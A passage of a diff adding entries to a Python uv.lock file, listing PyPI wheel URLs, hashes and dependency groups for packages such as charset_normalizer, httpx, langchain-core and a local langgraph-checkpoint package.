159330, upload-time = "2026-04-02T09:26:42.554Z" }, + { url = "https://files.pythonhosted.org/packages/9e/5d/481bcc2a7c88ea6b0878c299547843b2521ccbc40980cb406267088bc701/charset_normalizer-3.4.7-cp312-cp312-win_arm64.whl", hash = "sha256:56be790f86bfb2c98fb742ce566dfb4816e5a83384616ab59c49e0604d49c51d", size = 147828, upload-time = "2026-04-02T09:26:44.075Z" }, + { url = "https://files.pythonhosted.org/packages/c1/3b/66777e39d3ae1ddc77ee606be4ec6d8cbd4c801f65e5a1b6f2b11b8346dd/charset_normalizer-3.4.7-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:f496c9c3cc02230093d8330875c4c3cdfc3b73612a5fd921c65d39cbcef08063", size = 309627, upload-time = "2026-04-02T09:26:45.198Z" }, + { url = "https://files.pythonhosted.org/packages/2e/4e/b7f84e617b4854ade48a1b7915c8ccfadeba444d2a18c291f696e37f0d3b/charset_normalizer-3.4.7-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:0ea948db76d31190bf08bd371623927ee1339d5f2a0b4b1b4a4439a65298703c", size = 207008, upload-time = "2026-04-02T09:26:46.824Z" }, + { url = "https://files.pythonhosted.org/packages/c4/bb/ec73c0257c9e11b268f018f068f5d00aa0ef8c8b09f7753ebd5f2880e248/charset_normalizer-3.4.7-cp313-cp313-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:a277ab8928b9f299723bc1a2dabb1265911b1a76341f90a510368ca44ad9ab66", size = 228303, upload-time = "2026-04-02T09:26:48.397Z" }, + { url = "https://files.pythonhosted.org/packages/85/fb/32d1f5033484494619f701e719429c69b766bfc4dbc61aa9e9c8c166528b/charset_normalizer-3.4.7-cp313-cp313-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:3bec022aec2c514d9cf199522a802bd007cd588ab17ab2525f20f9c34d067c18", size = 224282, upload-time = "2026-04-02T09:26:49.684Z" }, + { url = "https://files.pythonhosted.org/packages/fa/07/330e3a0dda4c404d6da83b327270906e9654a24f6c546dc886a0eb0ffb23/charset_normalizer-3.4.7-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:e044c39e41b92c845bc815e5ae4230804e8e7bc29e399b0437d64222d92809dd", size = 215595, upload-time = "2026-04-02T09:26:50.915Z" }, + { url = "https://files.pythonhosted.org/packages/e3/7c/fc890655786e423f02556e0216d4b8c6bcb6bdfa890160dc66bf52dee468/charset_normalizer-3.4.7-cp313-cp313-manylinux_2_31_armv7l.whl", hash = "sha256:f495a1652cf3fbab2eb0639776dad966c2fb874d79d87ca07f9d5f059b8bd215", size = 201986, upload-time = "2026-04-02T09:26:52.197Z" }, + { url = "https://files.pythonhosted.org/packages/d8/97/bfb18b3db2aed3b90cf54dc292ad79fdd5ad65c4eae454099475cbeadd0d/charset_normalizer-3.4.7-cp313-cp313-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:e712b419df8ba5e42b226c510472b37bd57b38e897d3eca5e8cfd410a29fa859", size = 211711, upload-time = "2026-04-02T09:26:53.49Z" }, + { url = "https://files.pythonhosted.org/packages/6f/a5/a581c13798546a7fd557c82614a5c65a13df2157e9ad6373166d2a3e645d/charset_normalizer-3.4.7-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:7804338df6fcc08105c7745f1502ba68d900f45fd770d5bdd5288ddccb8a42d8", size = 210036, upload-time = "2026-04-02T09:26:54.975Z" }, + { url = "https://files.pythonhosted.org/packages/8c/bf/b3ab5bcb478e4193d517644b0fb2bf5497fbceeaa7a1bc0f4d5b50953861/charset_normalizer-3.4.7-cp313-cp313-musllinux_1_2_armv7l.whl", hash = "sha256:481551899c856c704d58119b5025793fa6730adda3571971af568f66d2424bb5", size = 202998, upload-time = "2026-04-02T09:26:56.303Z" }, + { url = "https://files.pythonhosted.org/packages/e7/4e/23efd79b65d314fa320ec6017b4b5834d5c12a58ba4610aa353af2e2f577/charset_normalizer-3.4.7-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:f59099f9b66f0d7145115e6f80dd8b1d847176df89b234a5a6b3f00437aa0832", size = 230056, upload-time = "2026-04-02T09:26:57.554Z" }, + { url = "https://files.pythonhosted.org/packages/b9/9f/1e1941bc3f0e01df116e68dc37a55c4d249df5e6fa77f008841aef68264f/charset_normalizer-3.4.7-cp313-cp313-musllinux_1_2_riscv64.whl", hash = "sha256:f59ad4c0e8f6bba240a9bb85504faa1ab438237199d4cce5f622761507b8f6a6", size = 211537, upload-time = "2026-04-02T09:26:58.843Z" }, + { url = "https://files.pythonhosted.org/packages/80/0f/088cbb3020d44428964a6c97fe1edfb1b9550396bf6d278330281e8b709c/charset_normalizer-3.4.7-cp313-cp313-musllinux_1_2_s390x.whl", hash = "sha256:3dedcc22d73ec993f42055eff4fcfed9318d1eeb9a6606c55892a26964964e48", size = 226176, upload-time = "2026-04-02T09:27:00.437Z" }, + { url = "https://files.pythonhosted.org/packages/6a/9f/130394f9bbe06f4f63e22641d32fc9b202b7e251c9aef4db044324dac493/charset_normalizer-3.4.7-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:64f02c6841d7d83f832cd97ccf8eb8a906d06eb95d5276069175c696b024b60a", size = 217723, upload-time = "2026-04-02T09:27:02.021Z" }, + { url = "https://files.pythonhosted.org/packages/73/55/c469897448a06e49f8fa03f6caae97074fde823f432a98f979cc42b90e69/charset_normalizer-3.4.7-cp313-cp313-win32.whl", hash = "sha256:4042d5c8f957e15221d423ba781e85d553722fc4113f523f2feb7b188cc34c5e", size = 148085, upload-time = "2026-04-02T09:27:03.192Z" }, + { url = "https://files.pythonhosted.org/packages/5d/78/1b74c5bbb3f99b77a1715c91b3e0b5bdb6fe302d95ace4f5b1bec37b0167/charset_normalizer-3.4.7-cp313-cp313-win_amd64.whl", hash = "sha256:3946fa46a0cf3e4c8cb1cc52f56bb536310d34f25f01ca9b6c16afa767dab110", size = 158819, upload-time = "2026-04-02T09:27:04.454Z" }, + { url = "https://files.pythonhosted.org/packages/68/86/46bd42279d323deb8687c4a5a811fd548cb7d1de10cf6535d099877a9a9f/charset_normalizer-3.4.7-cp313-cp313-win_arm64.whl", hash = "sha256:80d04837f55fc81da168b98de4f4b797ef007fc8a79ab71c6ec9bc4dd662b15b", size = 147915, upload-time = "2026-04-02T09:27:05.971Z" }, + { url = "https://files.pythonhosted.org/packages/97/c8/c67cb8c70e19ef1960b97b22ed2a1567711de46c4ddf19799923adc836c2/charset_normalizer-3.4.7-cp314-cp314-macosx_10_15_universal2.whl", hash = "sha256:c36c333c39be2dbca264d7803333c896ab8fa7d4d6f0ab7edb7dfd7aea6e98c0", size = 309234, upload-time = "2026-04-02T09:27:07.194Z" }, + { url = "https://files.pythonhosted.org/packages/99/85/c091fdee33f20de70d6c8b522743b6f831a2f1cd3ff86de4c6a827c48a76/charset_normalizer-3.4.7-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:1c2aed2e5e41f24ea8ef1590b8e848a79b56f3a5564a65ceec43c9d692dc7d8a", size = 208042, upload-time = "2026-04-02T09:27:08.749Z" }, + { url = "https://files.pythonhosted.org/packages/87/1c/ab2ce611b984d2fd5d86a5a8a19c1ae26acac6bad967da4967562c75114d/charset_normalizer-3.4.7-cp314-cp314-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:54523e136b8948060c0fa0bc7b1b50c32c186f2fceee897a495406bb6e311d2b", size = 228706, upload-time = "2026-04-02T09:27:09.951Z" }, + { url = "https://files.pythonhosted.org/packages/a8/29/2b1d2cb00bf085f59d29eb773ce58ec2d325430f8c216804a0a5cd83cbca/charset_normalizer-3.4.7-cp314-cp314-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:715479b9a2802ecac752a3b0efa2b0b60285cf962ee38414211abdfccc233b41", size = 224727, upload-time = "2026-04-02T09:27:11.175Z" }, + { url = "https://files.pythonhosted.org/packages/47/5c/032c2d5a07fe4d4855fea851209cca2b6f03ebeb6d4e3afdb3358386a684/charset_normalizer-3.4.7-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:bd6c2a1c7573c64738d716488d2cdd3c00e340e4835707d8fdb8dc1a66ef164e", size = 215882, upload-time = "2026-04-02T09:27:12.446Z" }, + { url = "https://files.pythonhosted.org/packages/2c/c2/356065d5a8b78ed04499cae5f339f091946a6a74f91e03476c33f0ab7100/charset_normalizer-3.4.7-cp314-cp314-manylinux_2_31_armv7l.whl", hash = "sha256:c45e9440fb78f8ddabcf714b68f936737a121355bf59f3907f4e17721b9d1aae", size = 200860, upload-time = "2026-04-02T09:27:13.721Z" }, + { url = "https://files.pythonhosted.org/packages/0c/cd/a32a84217ced5039f53b29f460962abb2d4420def55afabe45b1c3c7483d/charset_normalizer-3.4.7-cp314-cp314-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:3534e7dcbdcf757da6b85a0bbf5b6868786d5982dd959b065e65481644817a18", size = 211564, upload-time = "2026-04-02T09:27:15.272Z" }, + { url = "https://files.pythonhosted.org/packages/44/86/58e6f13ce26cc3b8f4a36b94a0f22ae2f00a72534520f4ae6857c4b81f89/charset_normalizer-3.4.7-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:e8ac484bf18ce6975760921bb6148041faa8fef0547200386ea0b52b5d27bf7b", size = 211276, upload-time = "2026-04-02T09:27:16.834Z" }, + { url = "https://files.pythonhosted.org/packages/8f/fe/d17c32dc72e17e155e06883efa84514ca375f8a528ba2546bee73fc4df81/charset_normalizer-3.4.7-cp314-cp314-musllinux_1_2_armv7l.whl", hash = "sha256:a5fe03b42827c13cdccd08e6c0247b6a6d4b5e3cdc53fd1749f5896adcdc2356", size = 201238, upload-time = "2026-04-02T09:27:18.229Z" }, + { url = "https://files.pythonhosted.org/packages/6a/29/f33daa50b06525a237451cdb6c69da366c381a3dadcd833fa5676bc468b3/charset_normalizer-3.4.7-cp314-cp314-musllinux_1_2_ppc64le.whl", hash = "sha256:2d6eb928e13016cea4f1f21d1e10c1cebd5a421bc57ddf5b1142ae3f86824fab", size = 230189, upload-time = "2026-04-02T09:27:19.445Z" }, + { url = "https://files.pythonhosted.org/packages/b6/6e/52c84015394a6a0bdcd435210a7e944c5f94ea1055f5cc5d56c5fe368e7b/charset_normalizer-3.4.7-cp314-cp314-musllinux_1_2_riscv64.whl", hash = "sha256:e74327fb75de8986940def6e8dee4f127cc9752bee7355bb323cc5b2659b6d46", size = 211352, upload-time = "2026-04-02T09:27:20.79Z" }, + { url = "https://files.pythonhosted.org/packages/8c/d7/4353be581b373033fb9198bf1da3cf8f09c1082561e8e922aa7b39bf9fe8/charset_normalizer-3.4.7-cp314-cp314-musllinux_1_2_s390x.whl", hash = "sha256:d6038d37043bced98a66e68d3aa2b6a35505dc01328cd65217cefe82f25def44", size = 227024, upload-time = "2026-04-02T09:27:22.063Z" }, + { url = "https://files.pythonhosted.org/packages/30/45/99d18aa925bd1740098ccd3060e238e21115fffbfdcb8f3ece837d0ace6c/charset_normalizer-3.4.7-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:7579e913a5339fb8fa133f6bbcfd8e6749696206cf05acdbdca71a1b436d8e72", size = 217869, upload-time = "2026-04-02T09:27:23.486Z" }, + { url = "https://files.pythonhosted.org/packages/5c/05/5ee478aa53f4bb7996482153d4bfe1b89e0f087f0ab6b294fcf92d595873/charset_normalizer-3.4.7-cp314-cp314-win32.whl", hash = "sha256:5b77459df20e08151cd6f8b9ef8ef1f961ef73d85c21a555c7eed5b79410ec10", size = 148541, upload-time = "2026-04-02T09:27:25.146Z" }, + { url = "https://files.pythonhosted.org/packages/48/77/72dcb0921b2ce86420b2d79d454c7022bf5be40202a2a07906b9f2a35c97/charset_normalizer-3.4.7-cp314-cp314-win_amd64.whl", hash = "sha256:92a0a01ead5e668468e952e4238cccd7c537364eb7d851ab144ab6627dbbe12f", size = 159634, upload-time = "2026-04-02T09:27:26.642Z" }, + { url = "https://files.pythonhosted.org/packages/c6/a3/c2369911cd72f02386e4e340770f6e158c7980267da16af8f668217abaa0/charset_normalizer-3.4.7-cp314-cp314-win_arm64.whl", hash = "sha256:67f6279d125ca0046a7fd386d01b311c6363844deac3e5b069b514ba3e63c246", size = 148384, upload-time = "2026-04-02T09:27:28.271Z" }, + { url = "https://files.pythonhosted.org/packages/94/09/7e8a7f73d24dba1f0035fbbf014d2c36828fc1bf9c88f84093e57d315935/charset_normalizer-3.4.7-cp314-cp314t-macosx_10_15_universal2.whl", hash = "sha256:effc3f449787117233702311a1b7d8f59cba9ced946ba727bdc329ec69028e24", size = 330133, upload-time = "2026-04-02T09:27:29.474Z" }, + { url = "https://files.pythonhosted.org/packages/8d/da/96975ddb11f8e977f706f45cddd8540fd8242f71ecdb5d18a80723dcf62c/charset_normalizer-3.4.7-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:fbccdc05410c9ee21bbf16a35f4c1d16123dcdeb8a1d38f33654fa21d0234f79", size = 216257, upload-time = "2026-04-02T09:27:30.793Z" }, + { url = "https://files.pythonhosted.org/packages/e5/e8/1d63bf8ef2d388e95c64b2098f45f84758f6d102a087552da1485912637b/charset_normalizer-3.4.7-cp314-cp314t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:733784b6d6def852c814bce5f318d25da2ee65dd4839a0718641c696e09a2960", size = 234851, upload-time = "2026-04-02T09:27:32.44Z" }, + { url = "https://files.pythonhosted.org/packages/9b/40/e5ff04233e70da2681fa43969ad6f66ca5611d7e669be0246c4c7aaf6dc8/charset_normalizer-3.4.7-cp314-cp314t-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:a89c23ef8d2c6b27fd200a42aa4ac72786e7c60d40efdc76e6011260b6e949c4", size = 233393, upload-time = "2026-04-02T09:27:34.03Z" }, + { url = "https://files.pythonhosted.org/packages/be/c1/06c6c49d5a5450f76899992f1ee40b41d076aee9279b49cf9974d2f313d5/charset_normalizer-3.4.7-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:6c114670c45346afedc0d947faf3c7f701051d2518b943679c8ff88befe14f8e", size = 223251, upload-time = "2026-04-02T09:27:35.369Z" }, + { url = "https://files.pythonhosted.org/packages/2b/9f/f2ff16fb050946169e3e1f82134d107e5d4ae72647ec8a1b1446c148480f/charset_normalizer-3.4.7-cp314-cp314t-manylinux_2_31_armv7l.whl", hash = "sha256:a180c5e59792af262bf263b21a3c49353f25945d8d9f70628e73de370d55e1e1", size = 206609, upload-time = "2026-04-02T09:27:36.661Z" }, + { url = "https://files.pythonhosted.org/packages/69/d5/a527c0cd8d64d2eab7459784fb4169a0ac76e5a6fc5237337982fd61347e/charset_normalizer-3.4.7-cp314-cp314t-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:3c9a494bc5ec77d43cea229c4f6db1e4d8fe7e1bbffa8b6f0f0032430ff8ab44", size = 220014, upload-time = "2026-04-02T09:27:38.019Z" }, + { url = "https://files.pythonhosted.org/packages/7e/80/8a7b8104a3e203074dc9aa2c613d4b726c0e136bad1cc734594b02867972/charset_normalizer-3.4.7-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:8d828b6667a32a728a1ad1d93957cdf37489c57b97ae6c4de2860fa749b8fc1e", size = 218979, upload-time = "2026-04-02T09:27:39.37Z" }, + { url = "https://files.pythonhosted.org/packages/02/9a/b759b503d507f375b2b5c153e4d2ee0a75aa215b7f2489cf314f4541f2c0/charset_normalizer-3.4.7-cp314-cp314t-musllinux_1_2_armv7l.whl", hash = "sha256:cf1493cd8607bec4d8a7b9b004e699fcf8f9103a9284cc94962cb73d20f9d4a3", size = 209238, upload-time = "2026-04-02T09:27:40.722Z" }, + { url = "https://files.pythonhosted.org/packages/c2/4e/0f3f5d47b86bdb79256e7290b26ac847a2832d9a4033f7eb2cd4bcf4bb5b/charset_normalizer-3.4.7-cp314-cp314t-musllinux_1_2_ppc64le.whl", hash = "sha256:0c96c3b819b5c3e9e165495db84d41914d6894d55181d2d108cc1a69bfc9cce0", size = 236110, upload-time = "2026-04-02T09:27:42.33Z" }, + { url = "https://files.pythonhosted.org/packages/96/23/bce28734eb3ed2c91dcf93abeb8a5cf393a7b2749725030bb630e554fdd8/charset_normalizer-3.4.7-cp314-cp314t-musllinux_1_2_riscv64.whl", hash = "sha256:752a45dc4a6934060b3b0dab47e04edc3326575f82be64bc4fc293914566503e", size = 219824, upload-time = "2026-04-02T09:27:43.924Z" }, + { url = "https://files.pythonhosted.org/packages/2c/6f/6e897c6984cc4d41af319b077f2f600fc8214eb2fe2d6bcb79141b882400/charset_normalizer-3.4.7-cp314-cp314t-musllinux_1_2_s390x.whl", hash = "sha256:8778f0c7a52e56f75d12dae53ae320fae900a8b9b4164b981b9c5ce059cd1fcb", size = 233103, upload-time = "2026-04-02T09:27:45.348Z" }, + { url = "https://files.pythonhosted.org/packages/76/22/ef7bd0fe480a0ae9b656189ec00744b60933f68b4f42a7bb06589f6f576a/charset_normalizer-3.4.7-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:ce3412fbe1e31eb81ea42f4169ed94861c56e643189e1e75f0041f3fe7020abe", size = 225194, upload-time = "2026-04-02T09:27:46.706Z" }, + { url = "https://files.pythonhosted.org/packages/c5/a7/0e0ab3e0b5bc1219bd80a6a0d4d72ca74d9250cb2382b7c699c147e06017/charset_normalizer-3.4.7-cp314-cp314t-win32.whl", hash = "sha256:c03a41a8784091e67a39648f70c5f97b5b6a37f216896d44d2cdcb82615339a0", size = 159827, upload-time = "2026-04-02T09:27:48.053Z" }, + { url = "https://files.pythonhosted.org/packages/7a/1d/29d32e0fb40864b1f878c7f5a0b343ae676c6e2b271a2d55cc3a152391da/charset_normalizer-3.4.7-cp314-cp314t-win_amd64.whl", hash = "sha256:03853ed82eeebbce3c2abfdbc98c96dc205f32a79627688ac9a27370ea61a49c", size = 174168, upload-time = "2026-04-02T09:27:49.795Z" }, + { url = "https://files.pythonhosted.org/packages/de/32/d92444ad05c7a6e41fb2036749777c163baf7a0301a040cb672d6b2b1ae9/charset_normalizer-3.4.7-cp314-cp314t-win_arm64.whl", hash = "sha256:c35abb8bfff0185efac5878da64c45dafd2b37fb0383add1be155a763c1f083d", size = 153018, upload-time = "2026-04-02T09:27:51.116Z" }, + { url = "https://files.pythonhosted.org/packages/db/8f/61959034484a4a7c527811f4721e75d02d653a35afb0b6054474d8185d4c/charset_normalizer-3.4.7-py3-none-any.whl", hash = "sha256:3dce51d0f5e7951f8bb4900c257dad282f49190fdbebecd4ba99bcc41fef404d", size = 61958, upload-time = "2026-04-02T09:28:37.794Z" }, +] + +[[package]] +name = "colorama" +version = "0.4.6" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/d8/53/6f443c9a4a8358a93a6792e2acffb9d9d5cb0a5cfd8802644b7b1c9a02e4/colorama-0.4.6.tar.gz", hash = "sha256:08695f5cb7ed6e0531a20572697297273c47b8cae5a63ffc6d6ed5c201be6e44", size = 27697, upload-time = "2022-10-25T02:36:22.414Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/d1/d6/3965ed04c63042e047cb6a3e6ed1a63a35087b6a609aa3a15ed8ac56c221/colorama-0.4.6-py2.py3-none-any.whl", hash = "sha256:4f1d9991f5acc0ca119f9d443620b77f9d6b33703e51011c16baf57afb285fc6", size = 25335, upload-time = "2022-10-25T02:36:20.889Z" }, +] + +[[package]] +name = "exceptiongroup" +version = "1.3.1" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "typing-extensions", marker = "python_full_version < '3.13'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/50/79/66800aadf48771f6b62f7eb014e352e5d06856655206165d775e675a02c9/exceptiongroup-1.3.1.tar.gz", hash = "sha256:8b412432c6055b0b7d14c310000ae93352ed6754f70fa8f7c34141f91c4e3219", size = 30371, upload-time = "2025-11-21T23:01:54.787Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/8a/0e/97c33bf5009bdbac74fd2beace167cab3f978feb69cc36f1ef79360d6c4e/exceptiongroup-1.3.1-py3-none-any.whl", hash = "sha256:a7a39a3bd276781e98394987d3a5701d0c4edffb633bb7a5144577f82c773598", size = 16740, upload-time = "2025-11-21T23:01:53.443Z" }, +] + +[[package]] +name = "h11" +version = "0.16.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/01/ee/02a2c011bdab74c6fb3c75474d40b3052059d95df7e73351460c8588d963/h11-0.16.0.tar.gz", hash = "sha256:4e35b956cf45792e4caa5885e69fba00bdbc6ffafbfa020300e549b208ee5ff1", size = 101250, upload-time = "2025-04-24T03:35:25.427Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/04/4b/29cac41a4d98d144bf5f6d33995617b185d14b22401f75ca86f384e87ff1/h11-0.16.0-py3-none-any.whl", hash = "sha256:63cf8bbe7522de3bf65932fda1d9c2772064ffb3dae62d55932da54b31cb6c86", size = 37515, upload-time = "2025-04-24T03:35:24.344Z" }, +] + +[[package]] +name = "httpcore" +version = "1.0.9" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "certifi" }, + { name = "h11" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/06/94/82699a10bca87a5556c9c59b5963f2d039dbd239f25bc2a63907a05a14cb/httpcore-1.0.9.tar.gz", hash = "sha256:6e34463af53fd2ab5d807f399a9b45ea31c3dfa2276f15a2c3f00afff6e176e8", size = 85484, upload-time = "2025-04-24T22:06:22.219Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/7e/f5/f66802a942d491edb555dd61e3a9961140fd64c90bce1eafd741609d334d/httpcore-1.0.9-py3-none-any.whl", hash = "sha256:2d400746a40668fc9dec9810239072b40b4484b640a8c38fd654a024c7a1bf55", size = 78784, upload-time = "2025-04-24T22:06:20.566Z" }, +] + +[[package]] +name = "httpx" +version = "0.28.1" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "anyio" }, + { name = "certifi" }, + { name = "httpcore" }, + { name = "idna" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/b1/df/48c586a5fe32a0f01324ee087459e112ebb7224f646c0b5023f5e79e9956/httpx-0.28.1.tar.gz", hash = "sha256:75e98c5f16b0f35b567856f597f06ff2270a374470a5c2392242528e3e3e42fc", size = 141406, upload-time = "2024-12-06T15:37:23.222Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/2a/39/e50c7c3a983047577ee07d2a9e53faf5a69493943ec3f6a384bdc792deb2/httpx-0.28.1-py3-none-any.whl", hash = "sha256:d909fcccc110f8c7faf814ca82a9a4d816bc5a6dbfea25d6591d6985b8ba59ad", size = 73517, upload-time = "2024-12-06T15:37:21.509Z" }, +] + +[[package]] +name = "idna" +version = "3.15" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/82/77/7b3966d0b9d1d31a36ddf1746926a11dface89a83409bf1483f0237aa758/idna-3.15.tar.gz", hash = "sha256:ca962446ea538f7092a95e057da437618e886f4d349216d2b1e294abfdb65fdc", size = 199245, upload-time = "2026-05-12T22:45:57.011Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/d2/23/408243171aa9aaba178d3e2559159c24c1171a641aa83b67bdd3394ead8e/idna-3.15-py3-none-any.whl", hash = "sha256:048adeaf8c2d788c40fee287673ccaa74c24ffd8dcf09ffa555a2fbb59f10ac8", size = 72340, upload-time = "2026-05-12T22:45:55.733Z" }, +] + +[[package]] +name = "iniconfig" +version = "2.3.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/72/34/14ca021ce8e5dfedc35312d08ba8bf51fdd999c576889fc2c24cb97f4f10/iniconfig-2.3.0.tar.gz", hash = "sha256:c76315c77db068650d49c5b56314774a7804df16fee4402c1f19d6d15d8c4730", size = 20503, upload-time = "2025-10-18T21:55:43.219Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/cb/b1/3846dd7f199d53cb17f49cba7e651e9ce294d8497c8c150530ed11865bb8/iniconfig-2.3.0-py3-none-any.whl", hash = "sha256:f631c04d2c48c52b84d0d0549c99ff3859c98df65b3101406327ecc7d53fbf12", size = 7484, upload-time = "2025-10-18T21:55:41.639Z" }, +] + +[[package]] +name = "jsonpatch" +version = "1.33" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "jsonpointer" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/42/78/18813351fe5d63acad16aec57f94ec2b70a09e53ca98145589e185423873/jsonpatch-1.33.tar.gz", hash = "sha256:9fcd4009c41e6d12348b4a0ff2563ba56a2923a7dfee731d004e212e1ee5030c", size = 21699, upload-time = "2023-06-26T12:07:29.144Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/73/07/02e16ed01e04a374e644b575638ec7987ae846d25ad97bcc9945a3ee4b0e/jsonpatch-1.33-py2.py3-none-any.whl", hash = "sha256:0ae28c0cd062bbd8b8ecc26d7d164fbbea9652a1a3693f3b956c1eae5145dade", size = 12898, upload-time = "2023-06-16T21:01:28.466Z" }, +] + +[[package]] +name = "jsonpointer" +version = "3.1.1" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/18/c7/af399a2e7a67fd18d63c40c5e62d3af4e67b836a2107468b6a5ea24c4304/jsonpointer-3.1.1.tar.gz", hash = "sha256:0b801c7db33a904024f6004d526dcc53bbb8a4a0f4e32bfd10beadf60adf1900", size = 9068, upload-time = "2026-03-23T22:32:32.458Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/9e/6a/a83720e953b1682d2d109d3c2dbb0bc9bf28cc1cbc205be4ef4be5da709d/jsonpointer-3.1.1-py3-none-any.whl", hash = "sha256:8ff8b95779d071ba472cf5bc913028df06031797532f08a7d5b602d8b2a488ca", size = 7659, upload-time = "2026-03-23T22:32:31.568Z" }, +] + +[[package]] +name = "langchain-core" +version = "1.4.8" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "jsonpatch" }, + { name = "langchain-protocol" }, + { name = "langsmith" }, + { name = "packaging" }, + { name = "pydantic" }, + { name = "pyyaml" }, + { name = "tenacity" }, + { name = "typing-extensions" }, + { name = "uuid-utils" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/12/e3/bea6d0080acf183332f24dcd74c208aee5857cf8f783c3fb0bd86027d8fb/langchain_core-1.4.8.tar.gz", hash = "sha256:5bf1f8411077c904182ad8f975943d36adcbf579c4e017b3a118b719229ebf9a", size = 957974, upload-time = "2026-06-18T19:39:23.636Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/13/d6/bdf6f0481cc57ef300d6b1eb48cf1400c0409be715d6eb3cabadd1142a09/langchain_core-1.4.8-py3-none-any.whl", hash = "sha256:d84c28b05e3ba8d4271d0827aad5b592ccdaaf986e76768c23503f0a2045e8aa", size = 557416, upload-time = "2026-06-18T19:39:21.902Z" }, +] + +[[package]] +name = "langchain-protocol" +version = "0.0.18" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "typing-extensions" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/d2/59/b5959aea96faa9146e2e49a7a22882b3528c62efafe9a6a95beab30c2305/langchain_protocol-0.0.18.tar.gz", hash = "sha256:ec3e11782f1ed0c9db38e5a9ed01b0e7a0d3fba406faa8aef6594b73c56a63e6", size = 6150, upload-time = "2026-06-18T17:08:26.959Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/99/2e/d82db9eec13ad0f72e7aaad5c4bc730ab111934fdc83c85523206eb9b0a0/langchain_protocol-0.0.18-py3-none-any.whl", hash = "sha256:70b53a86fbf9cedc863555effe44da192ab02d556ddbf2cf95b8873adcf41b5a", size = 7221, upload-time = "2026-06-18T17:08:25.996Z" }, +] + +[[package]] +name = "langgraph-checkpoint" +version = "4.1.1" +source = { editable = "../checkpoint" } +dependencies = [ + { name = "langchain-core" }, + { name = "ormsgpack" }, +] + +[package.metadata] +requires-dist = [ + { name = "langchain-core", specifier = ">=0.2.38" }, + { name = "ormsgpack", specifier = ">=1.12.0" }, +] + +[package.metadata.requires-dev] +dev = [ + { name = "codespell" }, + { name = "dataclasses-json" }, + { name = "numpy" }, + { name = "pandas" }, + { name = "pandas-stubs", specifier = ">=2.2.2.240807" }, + { name = "pycryptodome", specifier = ">=3.23.0" }, + { name = "pytest" }, + { name = "pytest-asyncio" }, + { name = "pytest-mock" }, + { name = "pytest-watcher" }, + { name = "redis" }, + { name = "ruff" }, + { name = "ty" }, +] +lint = [ + { name = "codespell" }, + { name = "ruff" }, + { name = "ty" }, +] +test = [ + { name = "dataclasses-json" }, + { name = "numpy" }, + { name = "pandas" }, + { name = "pandas-stubs", specifier = ">=2.2.2.240807" }, + { name = "pytest" }, + { name = "pytest-asyncio" }, + { name = "pytest-mock" }, + { name = "pytest-watcher" }, + { name = "redis" }, +] + +[[package]] +name = "langgraph-checkpoint-conformance" +version = "0.0.2" +source = { editable = "." } +dependencies = [ + { name = "langgraph-checkpoint" }, +] + +[package.dev-dependencies] +dev = [ + { name = "pytest" }, + { name = "pytest-asyncio" 